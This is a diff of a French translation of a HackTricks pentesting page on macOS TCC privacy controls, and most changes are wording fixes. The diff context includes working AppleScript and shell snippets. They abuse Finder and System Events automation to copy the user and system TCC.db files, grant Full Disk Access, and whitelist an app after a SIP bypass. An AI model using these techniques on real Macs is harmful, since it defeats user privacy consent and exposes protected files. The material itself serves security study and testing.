- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations accordées par TCC.
|
||||||
* Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC.
|
- Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
La base de données TCC dans **iOS** se trouve dans **`/private/var/mobile/Library/TCC/TCC.db`**
|
La base de données TCC dans **iOS** se trouve dans **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Le **centre de notifications UI** peut apporter des **changements dans la base de données TCC système** :
|
L'**interface utilisateur du centre de notifications** peut apporter des **changements dans la base de données TCC système** :
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -123,7 +123,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle le demandera).
|
En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle les demandera).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Le **`service`** est la représentation en chaîne de **permission** TCC
|
* Le **`service`** est la représentation en chaîne de **permission** TCC
|
||||||
|
@ -134,7 +134,7 @@ En vérifiant les deux bases de données, vous pouvez vérifier les autorisation
|
||||||
|
|
||||||
<summary>Comment exécuter s'il s'agit d'un chemin absolu</summary>
|
<summary>Comment exécuter s'il s'agit d'un chemin absolu</summary>
|
||||||
|
|
||||||
Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit :
|
Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -173,8 +173,8 @@ Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit :
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
* La **`auth_value`** peut avoir différentes valeurs : denied(0), unknown(1), allowed(2), ou limited(3).
|
* La valeur **`auth_value`** peut avoir différentes valeurs : denied(0), unknown(1), allowed(2), ou limited(3).
|
||||||
* La **`auth_reason`** peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
* La raison d'authentification **`auth_reason`** peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||||
* Le champ **csreq** est là pour indiquer comment vérifier le binaire à exécuter et accorder les permissions TCC :
|
* Le champ **csreq** est là pour indiquer comment vérifier le binaire à exécuter et accorder les permissions TCC :
|
||||||
```bash
|
```bash
|
||||||
# Query to get cserq in printable hex
|
# Query to get cserq in printable hex
|
||||||
|
@ -209,7 +209,7 @@ tccutil reset All
|
||||||
```
|
```
|
||||||
### Vérifications de signature TCC
|
### Vérifications de signature TCC
|
||||||
|
|
||||||
La **base de données** TCC stocke l'**ID de Bundle** de l'application, mais elle **stocke également** des **informations** sur la **signature** pour **s'assurer** que l'application demandant à utiliser une autorisation est la bonne.
|
La base de données TCC stocke l'**ID de Bundle** de l'application, mais elle stocke également des **informations** sur la **signature** pour **s'assurer** que l'application demandant l'autorisation est la bonne.
|
||||||
```bash
|
```bash
|
||||||
# From sqlite
|
# From sqlite
|
||||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||||
|
@ -229,10 +229,10 @@ Par conséquent, d'autres applications utilisant le même nom et l'ID de bundle
|
||||||
|
|
||||||
### Autorisations et permissions TCC
|
### Autorisations et permissions TCC
|
||||||
|
|
||||||
Les applications **n'ont pas seulement besoin** de **demander** et d'avoir **accès accordé** à certaines ressources, elles doivent également **avoir les autorisations pertinentes**.\
|
Les applications **n'ont pas seulement besoin** de **demander** et d'avoir été **accordées l'accès** à certaines ressources, elles ont également besoin de **posséder les autorisations pertinentes**.\
|
||||||
Par exemple, **Telegram** a l'autorisation `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui n'a pas cette **autorisation ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations).
|
Par exemple, **Telegram** a l'autorisation `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui n'a pas cette **autorisation ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations).
|
||||||
|
|
||||||
Cependant, pour que les applications **accèdent** à **certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **demandera à l'utilisateur** si nécessaire.
|
Cependant, pour que les applications puissent **accéder à certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **invitera l'utilisateur** au besoin.
|
||||||
|
|
||||||
Les applications d'Apple **ne généreront pas de fenêtres contextuelles**. Elles contiennent des **droits préalablement accordés** dans leur **liste d'autorisations**, ce qui signifie qu'elles ne **généreront jamais de fenêtre contextuelle**, **ni** n'apparaîtront dans l'un des **bases de données TCC.** Par exemple:
|
Les applications d'Apple **ne généreront pas de fenêtres contextuelles**. Elles contiennent des **droits préalablement accordés** dans leur **liste d'autorisations**, ce qui signifie qu'elles ne **généreront jamais de fenêtre contextuelle**, **ni** n'apparaîtront dans l'un des **bases de données TCC.** Par exemple:
|
||||||
```bash
|
```bash
|
||||||
|
@ -282,7 +282,7 @@ Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **Sandbox*
|
||||||
Notez également que si vous déplacez un fichier qui autorise l'UUID d'une application sur votre ordinateur vers un autre ordinateur, car la même application aura des UID différents, cela ne donnera pas accès à cette application.
|
Notez également que si vous déplacez un fichier qui autorise l'UUID d'une application sur votre ordinateur vers un autre ordinateur, car la même application aura des UID différents, cela ne donnera pas accès à cette application.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans ce post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**.
|
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**.
|
||||||
|
|
||||||
## Privilèges et contournements de TCC
|
## Privilèges et contournements de TCC
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||||
|
|
||||||
### Charges TCC
|
### Charges TCC
|
||||||
|
|
||||||
Si vous avez réussi à pénétrer dans une application avec certaines autorisations TCC, consultez la page suivante avec des charges TCC pour les abuser :
|
Si vous avez réussi à pénétrer dans une application avec certaines vérifications de permissions TCC, consultez la page suivante avec des charges TCC pour les abuser :
|
||||||
|
|
||||||
{% content-ref url="macos-tcc-payloads.md" %}
|
{% content-ref url="macos-tcc-payloads.md" %}
|
||||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||||
|
@ -344,14 +344,14 @@ Si vous avez réussi à pénétrer dans une application avec certaines autorisat
|
||||||
|
|
||||||
### Automatisation (Finder) vers FDA\*
|
### Automatisation (Finder) vers FDA\*
|
||||||
|
|
||||||
Le nom TCC de l'autorisation d'automatisation est : **`kTCCServiceAppleEvents`**\
|
Le nom TCC de la permission d'automatisation est : **`kTCCServiceAppleEvents`**\
|
||||||
Cette autorisation TCC spécifique indique également l'**application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas de gérer tout).
|
Cette permission TCC spécifique indique également l'**application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas de gérer tout).
|
||||||
|
|
||||||
**Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'**automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire effectuer certaines actions**.\
|
**Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'**automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire effectuer certaines actions**.\
|
||||||
Dans ce cas, votre application aurait besoin de l'autorisation **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
|
Dans ce cas, votre application aurait besoin de la permission **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Voler les TCC.db des utilisateurs" %}
|
{% tab title="Voler la base de données TCC des utilisateurs" %}
|
||||||
```applescript
|
```applescript
|
||||||
# This AppleScript will copy the system TCC database into /tmp
|
# This AppleScript will copy the system TCC database into /tmp
|
||||||
osascript<<EOD
|
osascript<<EOD
|
||||||
|
@ -365,7 +365,7 @@ EOD
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Voler TCC.db des systèmes" %}
|
{% tab title="Voler les systèmes TCC.db" %}
|
||||||
```applescript
|
```applescript
|
||||||
osascript<<EOD
|
osascript<<EOD
|
||||||
tell application "Finder"
|
tell application "Finder"
|
||||||
|
@ -386,9 +386,9 @@ Avec cette autorisation, vous pourrez **demander au Finder d'accéder aux dossie
|
||||||
Par conséquent, vous ne pourrez pas abuser des capacités complètes de la FDA.
|
Par conséquent, vous ne pourrez pas abuser des capacités complètes de la FDA.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Voici la fenêtre de dialogue TCC pour obtenir des privilèges d'automatisation sur le Finder :
|
Voici la boîte de dialogue TCC pour obtenir des privilèges d'automatisation sur le Finder :
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Notez que parce que l'application **Automator** a l'autorisation TCC **`kTCCServiceAppleEvents`**, elle peut **contrôler n'importe quelle application**, comme le Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le **Finder** avec un code comme celui ci-dessous :
|
Notez que parce que l'application **Automator** a l'autorisation TCC **`kTCCServiceAppleEvents`**, elle peut **contrôler n'importe quelle application**, comme le Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le **Finder** avec un code comme celui ci-dessous :
|
||||||
|
@ -422,7 +422,7 @@ De même avec l'application **Script Editor,** elle peut contrôler Finder, mais
|
||||||
|
|
||||||
### Automatisation (SE) vers certains TCC
|
### Automatisation (SE) vers certains TCC
|
||||||
|
|
||||||
**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui ci-dessous peut être utilisé pour abuser de ce comportement:
|
**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui-ci peut être utilisé pour abuser de ce comportement:
|
||||||
```bash
|
```bash
|
||||||
# Create script to execute with the action
|
# Create script to execute with the action
|
||||||
cat > "/tmp/script.js" <<EOD
|
cat > "/tmp/script.js" <<EOD
|
||||||
|
@ -524,13 +524,13 @@ Si vous avez **`kTCCServiceEndpointSecurityClient`**, vous avez FDA. Fin.
|
||||||
|
|
||||||
### Politique système SysAdmin de fichiers vers FDA
|
### Politique système SysAdmin de fichiers vers FDA
|
||||||
|
|
||||||
**`kTCCServiceSystemPolicySysAdminFiles`** permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui modifie son dossier personnel et permet donc de **contourner TCC**.
|
**`kTCCServiceSystemPolicySysAdminFiles`** permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur qui modifie son dossier personnel et permet donc de **contourner TCC**.
|
||||||
|
|
||||||
### Base de données TCC utilisateur vers FDA
|
### Base de données utilisateur TCC vers FDA
|
||||||
|
|
||||||
En obtenant des **permissions d'écriture** sur la **base de données TCC** utilisateur, vous ne pouvez pas vous accorder vous-même les permissions **`FDA`**, seules celles qui se trouvent dans la base de données système peuvent le faire.
|
En obtenant des **permissions d'écriture** sur la **base de données utilisateur TCC**, vous ne pouvez pas vous accorder vous-même les permissions **`FDA`**, seules celles qui se trouvent dans la base de données système peuvent le faire.
|
||||||
|
|
||||||
Mais vous pouvez vous accorder des **`Droits d'automatisation pour Finder`**, et abuser de la technique précédente pour une élévation de privilèges vers FDA\*.
|
Mais vous pouvez vous accorder les **`Droits d'automatisation pour Finder`**, et abuser de la technique précédente pour une élévation de privilèges vers FDA\*.
|
||||||
|
|
||||||
### **FDA vers permissions TCC**
|
### **FDA vers permissions TCC**
|
||||||
|
|
||||||
|
@ -540,14 +540,14 @@ Je ne pense pas que ce soit une véritable élévation de privilèges, mais au c
|
||||||
|
|
||||||
### **Contournement de SIP pour contourner TCC**
|
### **Contournement de SIP pour contourner TCC**
|
||||||
|
|
||||||
La base de données système TCC est protégée par SIP, c'est pourquoi seuls les processus avec les **autorisations indiquées pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (pouvoir modifier un fichier restreint par SIP), il pourra :
|
La base de données système TCC est protégée par **SIP**, c'est pourquoi seuls les processus avec les **autorisations indiquées pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (pouvoir modifier un fichier restreint par SIP), il pourra :
|
||||||
|
|
||||||
* **Supprimer la protection** d'une base de données TCC et s'accorder toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
|
* **Supprimer la protection** d'une base de données TCC et s'accorder toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
|
||||||
* La base de données système TCC
|
* La base de données système TCC
|
||||||
* REG.db
|
* REG.db
|
||||||
* MDMOverrides.plist
|
* MDMOverrides.plist
|
||||||
|
|
||||||
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**, le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste d'applications autorisées nécessitant une exception TCC. Par conséquent, si un attaquant peut **supprimer la protection SIP** de ce fichier et ajouter sa **propre application**, l'application pourra contourner TCC.\
|
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**, le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste blanche des applications nécessitant une exception TCC. Par conséquent, si un attaquant peut **supprimer la protection SIP** de ce fichier et ajouter sa **propre application**, l'application pourra contourner TCC.\
|
||||||
Par exemple pour ajouter Terminal :
|
Par exemple pour ajouter Terminal :
|
||||||
```bash
|
```bash
|
||||||
# Get needed info
|
# Get needed info
|
||||||
|
@ -597,7 +597,7 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|